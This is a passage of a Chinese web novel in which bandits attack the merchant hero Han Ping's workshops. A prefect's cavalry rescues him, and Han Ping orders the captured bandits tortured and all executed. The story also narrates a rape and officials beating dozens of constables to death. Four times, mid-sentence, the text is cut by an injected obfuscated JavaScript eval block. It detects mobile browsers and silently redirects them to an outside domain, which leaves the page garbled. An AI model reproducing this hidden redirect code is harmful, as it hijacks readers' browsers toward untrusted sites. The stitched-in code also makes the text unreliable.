到了今天也没说给他钱。 就昨天，有人来买酱菜，给了一两银子，他竟然找不起钱。 无他，酱菜铺子里的钱，都被这些人给拿走了。 以前光是当花舌子，还不够了解，现在明白了，什么叫土匪。 如果去饭馆购买现成的饭菜，难免引人怀疑，他只好把自己的妻子，还有两个小妾叫出来，帮忙做饭。 三百人的饭菜，还要酒菜齐全，很是麻烦。 趁着没有土匪进厨房，妻子余氏埋怨不已：“相公，也不 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在这里，说一句老天爷**，根本没人在乎。 边继荣不光把带来的土匪，全都叫来，还把线人也都叫来，其中林爱馍也不得不参加。 他更是一万个不愿意。 在工坊，他可是负责木工坊的监工，手底下足足上百号人，了得啊。 在这就、啥也不是，谁也不会把他当回事。 饭菜上来，边继荣开头，大吃大喝，吃饱喝足之后，开始安排：“我们的人，分布在五个工坊里，组成一个圆形。 只要韩平进入这个圆形，就在我们的包围之中。 到时，我放出口号，林爱馍你在木工坊放火，吸引其他人的注意，我们剩下的人，突袭韩平。 把他杀死之后，把几个工坊的监工都带走。 他们知道怎么制作阎罗醉，白糖之类，到了山上，咱们自己搞，赚大钱。 接着再把韩平家给洗劫了，那三个娘们别杀，特别是那个腚大的，叫赵杏儿的，我可太喜欢了，一定给爷留住。” 第67章 杀 第六十七章杀 人要改变是很难的，就算知道不太对，也会因循去做。 听到安排自己放火，林爱馍先是一阵头疼，接着笑呵呵站起来：“木工坊都是木头，天干物燥的，最是容易着火。二当家，这个事就交给我吧，保证给您办得妥妥帖帖。” 他保证了，其他人也纷纷保证。 谁不想过好日子？ 抢粮抢钱抢娘们的事，都爱干。 这个世道，只有这样才能活下来。 “哈哈哈……孩子们，散了吧，好好睡一觉，明天大干一场。” 土匪头子自高自大，往往喜欢称呼手下为孩子们，或者孩儿们，真是把自己当爷爷的劲头。 三百人各自散去，只留下几个亲信。 边继荣看向蔡久思：“老蔡，你媳妇挺漂亮，送我房里，帮我松松筋骨。” 天天干活，好多天没有碰过女人了。 如果去青-楼，也怕引人注目，刚才上菜的时候，边继荣偷眼看去，见余氏白白胖胖，十分带劲。 明天就要干大事了，不得好好放松放松？ “二爷，不要开玩笑，那是我的正妻。” “您若是需要女人，我帮你找去。” 蔡久思怎么也没想到还有这出呢。 朋友妻不可欺，二当家连这当不懂？ 砰！ 一个刀把子，把蔡久思打晕，让手下绑了起来。 边继荣来到厨房，看着余氏：“夫人，你若答应，我就不是坏人，你若闹起来，那我只好来硬的。到时候你和你相公，都得死！” 余氏一介妇人，哪里见过这种场面，只得依从了。 可怜一个干净良家，被土匪糟蹋。 边继荣还有一种怪癖，他把蔡久思绑了，堵住嘴，也放在房间里，故意让他知道，自己要了他老婆。 这一晚，六陈铺的后院里，残暴的欢乐像食人花一般，肆意地盛放。 …… “二牛，你可得好好干，咱不能昧了良心。” “谁让咱活命的，那得天天记在心眼里。” “见了韩先生，更是要亲热些，磕头用力些，咱对人家好，人家能察觉到的。” “等再有点钱，我给你找两房好看的小妾，到时候，谁也不能看不起咱。” 简陋的窝棚，孙翠娥给唐二牛整理着衣裳，叮咛个不停。 他们家原是唐家村的，距离这里有三十多里地，是个自耕农，因为蝗灾，贱卖了土地，打算去逃荒了，听说了韩平开工坊的事。 没想到，真让唐二牛当上了短工。 管饭不说，每天还有一文钱，唐二牛每天都干得美滋滋的。 他吃饭基本都在工坊，在家里也就喝点野菜汤汤。 赚来的一文钱，花个半文，买些糙米，麦麸之类的，给媳妇吃。 他们本来生了一对龙凤胎，奈何没吃的，孙翠娥下不来奶水，两个孩子活活饿死。 现在两口子虽然说每天睡在一块，却不敢干那个事情，怕再有了孩子，养不活。 眼睁睁看着自己的孩子，活活饿死，那种滋味，他们是不想体会第二回了，非得攒下钱，有了前景，方才再要孩子。 “我都晓得！” “你在家里，别不舍得吃喝，咱们每天攒半文钱也够了。” “娶啥子小妾？我不想娶，就想守着你过。” “等你养好了身子，咱们生一炕娃娃。” 在最难最苦的日子，孙翠娥把最后的粮食，都给了唐二牛吃。 经历患难，经历儿女死亡，两个人的心，就和浇筑一样，早就焊在一块了。 “净会哄人，哪个有钱人的，不要小妾？” 嗔了丈夫一眼，孙翠娥心里欢喜。 她虽然不知道什么是爱情，但一想到，丈夫要和别的女人干那种事，心口便闷闷的疼。 眼前日子难，总算是活下来了，庆幸的同时，又忍不住想过去，想死去的那一双娃儿，她的身子骨，反而越发孱弱。 强打着精神去活，唯一的指望，便只丈夫一个了。 “韩先生就没有娶小妾，我跟韩先生学，有错哦？” 提起韩先生，唐二牛理直气壮，也为自己能和韩先生有几分相像，万分开心。 他见妻子日渐悲伤消瘦，总想说点啥安慰，又不知道说个啥好，日常说得最多的，便是工坊和韩先生。 仿佛那是一片光明，能够驱散妻子眼眸里的阴霾。 “蛮牛一个！你拿啥子和韩先生比嘞？” 轻轻地打了下丈夫，孙翠娥露出了点笑模样。 她虽然不想丈夫娶小妾，但若是日子能过了，不娶小妾会被人说闲话。 官府也会派人过来劝说，就怕顶不住。 有了韩先生这个领头的，仿佛啥都简单了。 “我就知道，跟着韩先生，能过好日子。” “翠 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对唐二牛来说，韩平就是神仙，救苦救难的观世音菩萨，看一眼，会增长福气。 韩先生人就是好，怕大家把活干错了，天天来视察，太阳恁大，多辛苦啊。 充满爱戴地看两眼，唐二牛不敢耽误手里的活，继续开干。 “走水了，走水了……” 这时，突然西南边，烟火腾起，很多人跑了过去救火，接着便见四面八方，几百个人，手里拿着干活的工具，冲向了韩平。 “兄弟们！给我上！**韩平，人人重赏。” “八坨子山二当家在此，我们只杀韩平，和其他人无关，不要找死。” “你们看着就行，谁敢护着韩平，打死你！” “想想家里的老小。” 边继荣大叫招呼着，警告着。 三百土匪有备而来，眼看着就要把韩平给包围起来，南宫狗剩领头的护卫，人数只有十几个，根本不是对手。 唐二牛脸上露出惊恐表情，土匪多可怕，他不是不知道，家里的妻子每天都在等着他回去。 如果他死在这，妻子指定是无法独活。 他呆愣着，一时间不知道如何是好，是拼命保护韩先生，还是明哲保身，顾好自家性命。 第69章 天降神兵 第六十九章天降神兵 原本秦荷花是和王黑妮，马月姑她们一起挖野菜回来，路过工坊，听到了里面的动静，王黑妮，马月姑等人不管这那的，就是往里面冲。 闹呢。 现在天天都有菜团子吃，一吃一个不吭声，别说是土匪，就是天王老子来了，她们也不答应。 特别是王黑妮，她心里明-镜似的，自己家占着大便宜呢。 南宫狗剩的工钱提高了，是比照监工给的，她自己带着娃娃们割牛草，喂韩平家的牛羊，也拿一份工钱呢。 两份工钱，韩平家的剩菜，大部分也给她家了。 家里十三个孩子，一个一个的，都能吃到肚圆，精神头也上来了，不像以前，低头耷拉脑袋的。 家里家外都是欢声笑语，不说她和南宫狗剩两口子，孩子们也是整天感慨，这日子太好过，**逸了。 她作为大婆的威仪也渐渐立了起来，别看在外面挺辛苦，回到家，两个小妾都得听她的。 她当然知道女人没多大力气，大约是帮不到大忙，可大小是一回事，帮不帮又是一回事。 韩先生若是没了，一家人又要回到从前，全家一条裤子，整天躺在坑头等死的境地。 那种日子她过够了。 和她比较相似，马月姑家也是两个干活的。 马月姑老公石出火，公公老石头，都拿着监工的工钱，有里有面的。 两个人都不识几个字，能干上这样的活，等于是祖坟冒青烟了，谁打断这种生活，她就和谁拼命，一点犹豫都不带有的。 其他几个娘们没有她们那么舒坦，男人也是在工坊做工的，别的不说，起码饿不**，反正都跟着冲就对了。 牛得草的媳妇秦荷花属于是有心眼子的，她也冲进了工坊，只不过，她不是去救人，而是去拦人。 “你可别去，那土匪**不眨眼的，你去了就是个死。” “没事，韩先生肯定会没事的。” “那么多人过去帮忙了，不差你们两个。” “你们两个要是**，咱这一大家子怎么办？” “和谁亲啊？再亲有您亲娘亲？” …… 大儿子吕必肥拿着个䦆头都要冲出去了，她给拦下来了，死死拽着不让去，什么事，都需要个领头的。 其他工坊有领头的冲，便能带动一部分人跟着冲。 吕必肥负责的是酒精工坊，他被拦住了，其他大部分人便跟着观望，只有一两个血气盛的，不管不顾地上了。 他们想得简单，灾荒年不去厮杀，活不下来的，如果去当暴民，还违反王法，现在是合理合法的厮杀，咋不干呢？ 一百个人有一百个心眼子，各有各的盘算。 “娘，咱不能这么干，上次你犯错了，韩先生没有给咱计较，还让我当监工，这是多大的恩？你别拦我，多个人，韩先生就多一分安稳。” 上一次，秦荷花先是送礼，又把礼要回去，做事实在不地道。 韩平是觉得，大家都快要穷**，爱惜粮食，能够理解。 或许正是犯了错，没有受到处罚的缘故，秦荷花觉得，在韩平身上，可以有好处就捞，有风险就躲。 “是啊荷花，韩先生救过我的命，他有危险，我不上，那我还是个人？” 吕得草也是愤慨得尥蹶子。 他被土匪抓走，铁定活不下来的，是韩平单枪匹马救了的。 他们说的道理，都是天经地义的。 但是，嘴上的道理，和实际的行动，那就差得远了。 人之本性，好好的活着，谁愿意冒风险啊？ 况且吕家向来是秦荷花当家的。 别以为男尊女卑，女人就不当家了，根本不是那么回事。 很多家庭，表面是男人当家，实际上是女人当家，男人的行动，都是被女人指挥的。 这种家庭里面，女人就像个傀儡大师。 很不幸的，这种家庭往往越过越差， 原因特简单，这个时代的女人，轻易不得出门，除了几本女德，也不准看别的书，就算是再聪明的人，被这么限制，也不可能有多高见识。 何况秦荷花也就是中人之姿，她懂什么啊？ “我说不行就不行，你们谁敢去，我就上吊。” 见道理说不过，秦荷花便以死相逼。 吕必肥唉声叹气，想到韩先生很可能会**死，流下了伤心的眼泪。 吕得草则是抱着头蹲在一边，嘟嘟囔囔：“你这个娘们真是的，这么办，我们爷俩以后可怎么见人啊？” 他们真真假假地吵闹，周围不少人看着。 谁都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535354|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有随大流的心态，有人随大流冲上去了，有人随大流躲避了。 木工作坊的人跟着林爱馍，都是默不作声地看。 韩平这边人多，可惜攻击力太差，扔个砖头都有气无力的，眼看着好不容易组织起来的阵势要被突破，骤然之间，一阵马蹄声响起。 足足上百号人骑着高头大马，领头的，赫然是陈文灿。 来到当场，他扬鞭大喊：“杀土匪，救我琴川才子！杀！” 嗖嗖嗖…… 他是有备而来的，带的都是精兵。 箭矢如雨，土匪想逃都没地方逃。 先射了一波，接着他亲自纵马杀入，骑兵对步兵，步兵连个护甲都没有，那就是砍瓜切菜一般。 几个冲锋，边继荣的三百多人，就没几个活的了。 活着的也是伤痕累累，被衙役很快控制住。 “琴川知州，陈文灿，拜见先生。” “久仰大名，今日一见，足慰平生。” 跃下马来，陈文灿单膝跪地，周围的人看得大眼瞪小眼。 知州啊，朝廷大员，从五品，还是探花，了得啊。 韩平自己都有点讶异，在这个时代，士农工商，除了皇帝，皇亲国戚，还有勋爵之外，便是士了。 自己现在的身份，只是个商贾，和人没法比。 “折煞我也！” “陈知州不必行此大礼，快快请起。” 人家还救了自己，这是多大的恩情啊，韩平急忙扶起。 陈文灿缓缓站起，激动的眼眶湿-润：“先生劳苦功高，当得起下官一拜。先生，这些人如何处置，您来决定吧。” 活着的土匪还有几十，都受伤了，能动的纷纷求饶，包括边继荣本人，也没有了二当家的威风。 而且说出来的话，也算有道理。 “韩先生饶命，我们当土匪，是不得已的。” “灾荒如火，实在活不下去这才落草为寇，求一个活命。” “以前我们也都是本分良人。” “我上有八十老母，下有嗷嗷待哺的三岁娃儿，饶我狗命，定感恩图报。” …… 他们又是磕头又是喊叫，一把鼻涕一把泪，看起来属实可怜。 韩平淡然道：“先严刑拷打，让他们招供。然后，全杀！” 第70章 赏罚分明 第七十章赏罚分明 这是第二次面对八坨子山的土匪，比第一次还要危险，韩平绝对不会容情，根本没给活路，都得死。 只不过，不招供的，要被活活打死。 招供的，可以痛快**。 “先生真伟丈夫也。” “来人，把**挖坑埋了，活人拉回去用刑。” 多年经验，陈文灿知道，没有人能撑得住严刑。 一边安排着，他偷偷看了看四周的工坊，羡慕到眼红。 各个工坊都是井井有条，一看就是正经做事的。 这要是在琴川那该多好？ 他正要说起请韩平回琴川的话，韩平先说话了：“陈知州，有些事情需要请大人帮忙。” 陈文灿喜不自胜：“先生请讲。” 他恨不得再救韩平一回，能帮忙当然愿意，帮得越多，之后的事情越好说。 他可是千方百计才打听到，土匪要在今天行刺，所以才早早做好准备。 鸡贼的是，他并没有通知嘉陵的知州，而是偷偷潜伏在工坊周围，等听到声音，便纵马冲过来。 工坊外围的衙役哪里拦得住骑兵？ “一，请知州府的郎中前来，为受伤者医治。” “二，请大人派几个识文断字的，把这些愿意为我而战的人，记录下来。” 最好的医生都在官府，韩平是想尽可能的减少伤亡，至于记录参加战斗的人，则是为了——提纯！ 陈文灿连连答应，派人去叫郎中，他手下识文断字的人多了，开始统计参战之人的姓名。 其实谁参战了，谁没参战，一眼就能看出来。 更不要说，韩平一直在这站着呢，历历在目。 他让人抬了一张桌子过来，站到了桌子上：“诸位听着，我韩平非神非妖，也是凡夫俗子。 开工坊既为赚钱，也为济世安民。 今日多亏众多勇士奋勇当先，韩某人才能保住性命。 人爱我者，我亦爱人。 凡战死之人，抚恤其家属一千两，风光厚葬，本人亲自扶灵。 其余参战者，**行赏，最低百两。” 哗！ 不管是参加作战的，还是周围看热闹的，就是知州陈文灿本人，也是侧目。 越朝的抚恤标准混乱。 如果是普通士卒，战死边关，通常抚恤十四两，从上到下多方克扣之后，到死者家属手里，大概只有三两，有的甚至只有几百文。 更有过分的，直接给战死将士按一个投敌叛国的罪名，一分钱不给，还要抄家灭门。 韩平出手就是一千两，那是闻所未闻，见所未见，更不要说，只要参战就赏百两，简直是疯了。 看热闹的人，都后悔到肠子发青。 真正死的其实只有二十余人，大部分人都好好的，连点轻伤都没有。 毕竟后面就用五六米的竹竿作战，大家累是累，伤亡小了很多。 参战就有百两之多。 须知，寻常人一天绝对花不了一文钱的，一年到头，花个三百文，就算多的了，十年花销，也不过三千文，算成银两，才二两。 花一百年不过二十两。 也就是说，一百两能够让一个人花五辈子，这还是长命百岁的情况下，以现在的平均寿命，足够花十辈子的。 “谢谢韩先生！” “韩先生您太客气了，这都是我们应该做的。” “韩先生就是我们的命，我们不救，谁救？” “为韩先生，死一百回我也愿意。” …… 都是穷苦人，一文钱恨不得掰八瓣，猛然得到这么多钱，他们万分不适应，一百两啊，怎么花？ 真不会！ 其他观望的人，又是后悔，又是惭愧。 不远处的吕必肥一家羞恼不已，特别是吕得草和吕必肥，他们都是恨意滔天地看着秦荷花。 如果没有秦荷花拦着，他们就上了，两个人都能得到一百两，一辈子吃香喝辣，花不完。 “至于不肯为我而战的人，我并不会指责，这是你们的选择，我无权干涉。“ “只是，既然你们不在乎我的死活。” “那么，我为什么要在乎你们的死活？” “所有未参战之人，无论是监工，工正，长工，短工，女工，全部开除。” “永不叙用！” 赏罚分明才能聚拢人心。 如果没有参战的人，还能继续在工坊做工，那些战死英灵，岂不寒心？ 韩平自认为不是心狠手辣之人，可面临生死危机，他必须冷厉起来。 不然，工坊建不起来，还会命丧他人之手。 这个命令颁布，本来瞪着无辜的眼睛，看热闹的人顿时兵荒马乱。 “不要啊韩先生，我错了，我错了，原谅我这一回。” “我本来想参战的，可我害怕啊。” “你不能这样，我全家老小都指望我养活，你这样等于**。” “韩先生，我们都是良民，哪里会**啊？这能怨我们吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535355|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… 哭声震天，比刚才战斗的声音，还要喧嚣。 黑压压的，跪成一大片。 韩平看了看，真正参战的，两千人多点。 工坊一共有两万多人，只有十分之一，和自己始终站在一块。 对于这种哀求的，指责的，韩平不愿意再搭理，行书生礼道：“陈知州，大恩不言谢，请知州去家里说话。” “那感情好。” 见韩平历经刺杀，镇定如恒，安排的井井有条，赏罚之间，天差地别，心里更是钦佩不已。 可以想象，如果再遇到类似的事情，愿意为韩平韩安之死战的人，只怕成千上万。 两人联袂而行，陈知州身边是他的亲信，韩平身边则是南宫狗剩带着经历过战斗的护卫。 他们都是身家百两以上的人，当真气势滔天。 “你叫什么名字？” 走了几步，韩平驻足，看向一个憨厚矮壮短工，适才战斗，这位很是凶猛。 他不要命一样冲向土匪，给韩平留下了深刻的印象。 “韩先生，我叫唐二牛。” “壮士！从今天起，你便是我的护卫，跟上。” 把好几万两银子撒出去，韩平就是告诉所有人，他的命金贵，保护他，不光能吃饱，更有数不尽的荣华富贵。 他要在自己身边，建立一道由人组成的铜墙铁壁，今天的事情，再不会发生第二次。 “得令！” 唐二牛兴奋得像个孩子，跟着崇仰的韩先生，他敢勇闯地狱。 又走了几步，韩平看向秦明虎：“秦护卫长，你怎么回来了，三少爷呢？” “先生，说来话长，三少爷留在了渔阳城，大少爷派属下来，是想恳请先生制作一批**，解救渔阳城。 另，大少爷指责了三少爷，说不该收先生的宝刀，让属下还给先生。” 有本事的人，只会佩服更有本事的人。 秦明虎单膝下跪，奉上大夏龙雀。 韩平真没把这把刀当回事，既然这样，他也只好收下了。 龙雀锋锐，留着防身吧。 “好！随我回家细说。” **到底什么效果，他还需要问问，真要用在柔然大军上，至少也得上万枚起步，怎么也得几天。 “是！” 找到主心骨一样，秦明虎也是紧随其后。 还没出工坊呢，庄典，袁郛带着一大批衙役，呼啸而来。 看到陈文灿和韩平说说笑笑，两人的脸色刹那间阴沉了下来。 第71章 怒了 第七十一章怒了 嘉陵能够安稳下来，全靠韩平，庄典和袁郛最怕的，就是有人抢夺。 这不，来了。 “韩先生受伤了没有？” 庄典急忙上前拉住韩平，关心地询问。 韩平不动声色地摆脱对方的手，朗声道：“多亏了陈知州援手，还有众多勇士用命，韩某无事。” 工坊的外面是有嘉陵衙役巡逻的，虽然说有的距离比较远，但也有距离近的，他们并没有参与到战斗中。 至于为什么，倒也很好理解。 衙役都是铁饭碗，干得好干得不好，都少不了一份银钱，那干嘛拼命？ 八坨子山恶名远播，他们也是肉体凡胎，恐惧是正常的。 说白了，灾荒再大也饿不着他们，也许会有暴-乱什么的，可不是没有发生吗？ 就算发生了，他们手里是有刀的，谁杀谁还说不定呢。 有些州府乱起来，反而是衙役坐大，成了一方叛军领袖。 还有一点他们别不过劲，那便是身份。 韩平的身份是商人，从来商人都是**的，他们只保护士，其他人是看不上的。 种种原因结合起来，他们根本没有战斗意愿，保护只是一种形式。 “先生太见外了，我是琴川知州，保护琴川才子，乃是应有之义。” “倒是庄知州和袁通判，来得可真是巧，土匪刚灭，你们便来了，不早一步，也不晚一步，怕是一直在做壁上观吧？” “我已上书刺史府，告两位和土匪串通，有意谋害我琴川才子。” “来人啊，保护我琴川才子！” 嘡啷！ 琴川的衙役纷纷拔刀。 南宫狗剩，唐二牛等护卫也紧张起来，都进入了战斗模式。 唐二牛手里什么也没有，只好从路边捡了个棍子。 庄典和袁郛两人快要气炸了：“陈知州，你说什么琴川才子？韩先生乃是我嘉陵人，在此营造工坊，救济一方。你这是要明抢吗？” 好家伙的，对方一口一个琴川才子，好像已经盖章认证了一样。 他知道陈文灿向来强梁，什么都要多吃多占。 可这次，事关前途和性命，他们是绝对不会让的。 “庄知州，莫要空口白话。” “韩先生的名籍户贴上写得清楚，他是马蹄沟人士，马蹄沟是琴川之地，韩先生当然是我琴川之民。” “此事有刺史亲自批文，不信请看。” 准备太充足了。 陈文灿把批文拿出来，上面果然有刺史府的印章，还有刺史冯云程写的“理当如此”四个字。 庄典和袁郛气得脑袋发晕。 灾荒年，无数灾民乱窜，谁还在乎什么名籍啊？ 很多灾民早就换过无数个地方了，所有地方都默认了，灾民到哪，就是那儿的人。 这些道理，谁都知道。 只是，陈文灿手里拿着的是正规程序。 通常，等灾荒过去之后，是要补这一道程序的，某某从某地迁移到了某地，非常简单。 大家也不会追究。 如果真要追究，大越律法明文规定，无批文民人是不能四处迁移的，地方官有权带迁移之人回原籍。 陈文灿的意思，就是要带韩平回原籍。 “不是那么回事！” “你没有说清楚韩先生的真正身份，冯刺史是被你给骗了的！” 庄典要疯。 对方太无耻了。 韩平一走，那还用说吗？ 整个工坊都会搬走，嘉陵城又会苦哈哈的。 他急忙看向韩平：“韩先生，我绝对没有和土匪有什么勾结，我刚刚听说土匪刺杀，便跑过来了。” 不能接受！ 这是庄典的感受。 韩平也不信庄典会和土匪有什么瓜葛，只不过自己确实是被陈文灿给救了。 嘉陵的衙役没有加入战斗，不管是什么原因，足见不可靠。 “庄知州辛苦了。” 韩平冷冷淡淡的，说完错身而过，和陈文灿说道：“陈知州请。” 陈文灿嘴角快要咧到耳朵根，客客气气道：“先生请。” 两人联袂而行，看起来像多少年没见的老朋友。 庄典和袁郛苦涩不已，看着左右衙役，怒发冲冠：“谁负责守卫工坊附近的？给老子站出来！” 嘉陵的衙役但凡有人参加战斗，他面子上都过得去。 可悲的是，一个都没有，以至于陈文灿直接告他和土匪勾结。 光是要说清楚这个，就落在下风了。 足足七八十个衙役低着头，聚在一块。 他们不承认也不行，谁负责那一片，都有记录的。 太远的地方，听不到，有情可原，就在附近的，根本没有任何借口。 他们两个当然知道，这些人吃惯了皇粮，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535356|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯冒风险。 可现在是个什么节骨眼啊？ 保护的人又是谁啊？ 糊涂！ 自古以来，官吏两分，官是下派，吏员多是本地，平常庄典和袁郛并不愿意过分得罪吏员，毕竟还要他们干活呢，差不多就行了。 今天两人是出离愤怒了。 庄典想想韩平的冷淡，更是愤愤不已。 有这样的属下，难怪韩先生不待见自个，看看人家陈文灿的属下，多精神。 一向里，是自己太宽纵他们了。 “来人啊，这些人**，见死不救，杖五十，即刻施行。” 必须杀一儆百，不然在灾荒年月，别说前途，连自家性命都得交代在这。 庄典和袁郛两人并不离开，看着行刑。 同样都是衙役，大家自然顾着面子，用力不大。 这里面的学问很多，杖是厚厚的，窄窄的板子，都是硬木材质，十分沉重，如果用力打，别说五十杖，一杖下去，非死也残废。 但如果不用力，打到明天去，也一点事没有。 “孙光旭，张于德，阳奉阴违，当面抗命。” “抄家！” “刺配三千里！” 见有人在这糊弄，庄典火冒三丈，再次重责。 孙光旭，张于德两个负责打板子的，吓得求饶不已，哭腔都出来了。 刺配三千里，只有死路一条。 因为庄典在盛怒之下，一定是把他们刺配到环境最恶劣的烟瘴之地。 更恶毒的，是先抄家再刺配。 流放之人想活下来，必须有家里的打点，路上会好过很多，如果没有，根本到不了地方。 没点好处谁愿意押送犯人跑那么远啊？ 往往都是几棍子打死，回报说犯人抱病而亡，谁也不会追究这个。 “立即执行！天黑之前送往烟瘴之地！” 庄典已经是毫不掩饰自己的杀机了，他阴沉地看着其他人，“还有想学他们的吗？” 砰砰砰…… 剩下打板子的衙役，拿出吃奶的劲头，死命地打。 不过十几杖，已经打**二十多个，剩下的人，绝对不会有活下来的。 因为谁活下来了，就说明打的人不用心，还是要刺配的。 当场杖杀七十余人，**住手下衙役，庄典看向袁郛无奈道：“为今之计只能和姓陈的打官司。一切真相，也必须告知冯刺史。” 第72章 刀客 第七十二章刀客 “相公！” 快到家，刘雪宝飞奔了过来，抓住韩平，上下乱摸，“你没事！你没事！你没事！” 她刚听说这事，已经顾不得礼仪，眸子里泪光闪烁，一番惊吓，身子有点站不住，韩平急忙扶住。 曹淑君在后面，偷偷看了看韩平，小手拍着胸口。 仰慕，渴望，向往，担惊受怕…… 因为在韩平身上投入了太多情绪，她心里眼里都是韩平，只是大庭广众，无从表达。 就是刘雪宝，很快也意识到，大家都看着呢，赶紧带着曹淑君，回家躲起来了。 到了韩宅，分宾主落座，陈文灿忙不迭道：“先生可愿把工坊开到琴川？我愿意提供免费土地。但凡先生要用的地方，只管说便是，赋税也可以减免到一成。” 这位探花郎完全是拉投资的姿态，韩平心中顿时一动。 他知道，官府是有官田的，几千年来都是如此。 最早的井田制，便是把田地分成九份，其中一份是官家所有。 历经各朝，变动不大。 大越的情况是，有重要产出的山林，湖泊，矿产这些，基本是皇家所有。 要进皇家内库，耕种的土地，官府还是占了九分之一。 这些土地有的是罚没，比如抄家充公，有的则是在灾荒年购买。 眼前正是灾年，官府手里都有大量的土地，琴川官府拥有的土地，多达三十万亩之多，都抛荒了。 “韩某自然是愿意，只是韩某的名籍所属，只怕会有一番争执。” 其他人的名籍在什么地方，毫不重要，他的就万分重要了，这些都要看官方怎么判定。 如果判定他是琴川人，在嘉陵的工坊必须拆除，不然就违反律法了。 同样，如果判定他是嘉陵人，他想去琴川，也去不了的。 就个人而言，他肯定不想只在嘉陵开展事业，有选择总是最好的。 因为他是主动在嘉陵开工坊，看吧，嘉陵也有很多官方土地，庄典从来没说过，给他免费使用。 称呼也大大不同，庄典和袁郛对他尊重没错，但都是自称本官，陈文灿则自称下官，完全是求人的姿态。 “这个请先生放心，量他们两个三甲废材，不可能是我的对手。” 陈文灿不愧是探花郎，就是自信。 两人说会了话，都是情商极高的人，自然是相谈甚。 韩平想请吃饭，陈文灿知道，这里还有很多事，便告辞而去。 到了琴川地界，他便让人四处宣告，韩平将来琴川建立工坊的事，顿时，琴川的乱象平定许多。 连平日一毛不拔的商贾，也纷纷来到府衙，又是捐钱又是捐粮，想要通过陈文灿，和韩平建立联系。 谁不知道，光是通过倒卖阎罗醉，嘉陵的很多商贾已经发大财了，这就是近水楼台先得月的好处。 有了钱粮便可以开粥棚，灾民有口吃的，就更稳了。 再说还有希望呢，工坊只留下了两千多人，光是当下的缺口就有两万人之多，长工每天能拿到十文钱，谁不想进？ 如果得罪了知州，不能进工坊，那不是亏大了？ 一时间，陈文灿在琴川的威望达到了极点。 马不停蹄地，他严刑拷打了边继荣等人。 八坨子山在嘉陵的线人，统统获知。 一边通知韩平，一边捉拿蔡久思，林爱馍等人。 …… 乱世需要用重刑，对于这些人，韩平的态度就一个，杀！ 他也需要给所有人一个印象，他不好惹，想碰他，只有死路一条。 八坨子山他是记住了，现在实力不允许，只要有了实力，必然要踏平八坨子山，杀光上面的土匪。 “韩先生，土地啊，税收优惠啊，这些我们也可以给。” “您可千万不能走啊。” 打**七八十个衙役之后，庄典和袁郛又上门了。 他们急的团团转，眼看着到手的业绩，到手的前途，都要被陈文灿抢走了，两人上火啊。 “不！我们不收税，土地也不是给先生使用，而是白送。” “另外，先生至今只有一个正妻，没有妾室，我们愿意组织一场遴选。” “嘉陵容貌上佳的女子，任由先生选择。” “这样可好？” 知道陈文灿有后台，两人只好拿出更加优惠的政策，竟然还要给韩平选妃。 对此，韩平连连摇头： “遴选妾室就算了，我是答应了陈知州，去琴川建造工坊，一来他救过我，总要知恩图报。 二来，我的名籍是在琴川，他又拿到了刺史府批文，我总不能违反律法。” 这一番争夺，庄典和袁郛可以说是一败涂地。 不管于情于理于法，韩平都只能去琴川，他自己内心里，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535357|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较倾向于琴川。 无他，陈文灿的能力，比这两位强太多了。 相比较之下，两人属于普通人，难怪陈文灿一口一个三甲废材。 光看两边的属下，陈文灿手里是有一帮子亲兵呢，能够跟着他赴汤蹈火，嘉陵这边的衙役，闹着玩似的。 “没有救到先生，我二人羞愧无地，我们可以保证，此类之事，绝不会再发生。” “至于名籍，这是陈文灿取巧，骗取冯刺史批文，我们就是打到三法司，也不会和他罢休！” 有了韩平，前途和性命都有了。 没了韩平，嘉陵转眼就要暴-乱，两人后槽牙快要咬碎，没有半点妥协，就是要争。 韩平也不好劝阻，两人是没什么功，但自己被刺杀一事，两人绝不会和土匪有什么瓜葛，只是两人的能力不行而已。 表明了心意，两人没有多停，还需要立即赶往刺史府，先让刺史把批文给收回。 